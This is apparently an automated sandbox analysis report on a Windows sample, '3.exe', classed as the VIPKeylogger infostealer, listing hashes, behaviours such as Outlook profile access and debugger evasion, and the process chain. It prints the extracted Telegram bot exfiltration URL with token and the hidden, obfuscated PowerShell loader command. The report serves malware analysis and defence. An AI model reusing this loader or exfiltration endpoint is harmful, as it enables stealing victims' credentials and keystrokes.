Analysis
-
max time kernel
147s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
16-12-2024 12:21
Static task
static1
Behavioral task
behavioral1
Sample
3.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
3.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
-
Target
3.exe
-
Size
1.1MB
-
MD5
4252cd5753def4a484fb3313e1029e66
-
SHA1
19fd0734102e1eebe6c7f42d530d30e920366e00
-
SHA256
96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7
-
SHA512
471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984
-
SSDEEP
24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendMessage?chat_id=5234817354
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 912 powershell.exe -
Loads dropped DLL 1 IoCs
pid Process 1104 3.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 19 2236 msiexec.exe 22 2236 msiexec.exe 24 2236 msiexec.exe 26 2236 msiexec.exe 30 2236 msiexec.exe 37 2236 msiexec.exe 40 2236 msiexec.exe 55 2236 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 19 drive.google.com 18 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 36 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\stilhederne\tamtammens.ini 3.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2236 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 912 powershell.exe 2236 msiexec.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\inddatafunktionens.Tra 3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 912 powershell.exe 912 powershell.exe 912 powershell.exe 912 powershell.exe 912 powershell.exe 912 powershell.exe 912 powershell.exe 2236 msiexec.exe 2236 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 912 powershell.exe Token: SeIncreaseQuotaPrivilege 912 powershell.exe Token: SeSecurityPrivilege 912 powershell.exe Token: SeTakeOwnershipPrivilege 912 powershell.exe Token: SeLoadDriverPrivilege 912 powershell.exe Token: SeSystemProfilePrivilege 912 powershell.exe Token: SeSystemtimePrivilege 912 powershell.exe Token: SeProfSingleProcessPrivilege 912 powershell.exe Token: SeIncBasePriorityPrivilege 912 powershell.exe Token: SeCreatePagefilePrivilege 912 powershell.exe Token: SeBackupPrivilege 912 powershell.exe Token: SeRestorePrivilege 912 powershell.exe Token: SeShutdownPrivilege 912 powershell.exe Token: SeDebugPrivilege 912 powershell.exe Token: SeSystemEnvironmentPrivilege 912 powershell.exe Token: SeRemoteShutdownPrivilege 912 powershell.exe Token: SeUndockPrivilege 912 powershell.exe Token: SeManageVolumePrivilege 912 powershell.exe Token: 33 912 powershell.exe Token: 34 912 powershell.exe Token: 35 912 powershell.exe Token: 36 912 powershell.exe Token: SeDebugPrivilege 2236 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1104 wrote to memory of 912 1104 3.exe 82 PID 1104 wrote to memory of 912 1104 3.exe 82 PID 1104 wrote to memory of 912 1104 3.exe 82 PID 912 wrote to memory of 2236 912 powershell.exe 88 PID 912 wrote to memory of 2236 912 powershell.exe 88 PID 912 wrote to memory of 2236 912 powershell.exe 88 PID 912 wrote to memory of 2236 912 powershell.exe 88 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3.exe"C:\Users\Admin\AppData\Local\Temp\3.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:912 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2236
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
66KB
MD5f508128e1733bb6460b9b1532382ecf6
SHA1b20f4e4af3fe86a6dd5b7b10fcf983fac5bf74c4
SHA25685b8bc66a411630746860c471286ab9bbc69ba93212e12da8e75040dfb3a1a75
SHA512acc7183911452359ec33582cdf6f5ff0953bc4f09f1f5475454d17277466abc1f9b0218e8177735f9653665fbf55555bd557b86398c3d5a4a0d697b122e81731
-
Filesize
305KB
MD53c8436f0e7b9d6c8d25947e4374d179e
SHA11be9130c45876d27f39c2097771090e573697b72
SHA2568512544eb0068094f92cd705fd941a0f07f5697d690aa62ea351b1363f348c75
SHA512aa229b1e5c66a78d67a06b601e5aad9b000b4e15bd0a5f15ff001201f228fc9950418cf9b2f205fca07be73e70a06383766da3804341c42c5597bcbedcc651fd
-
Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683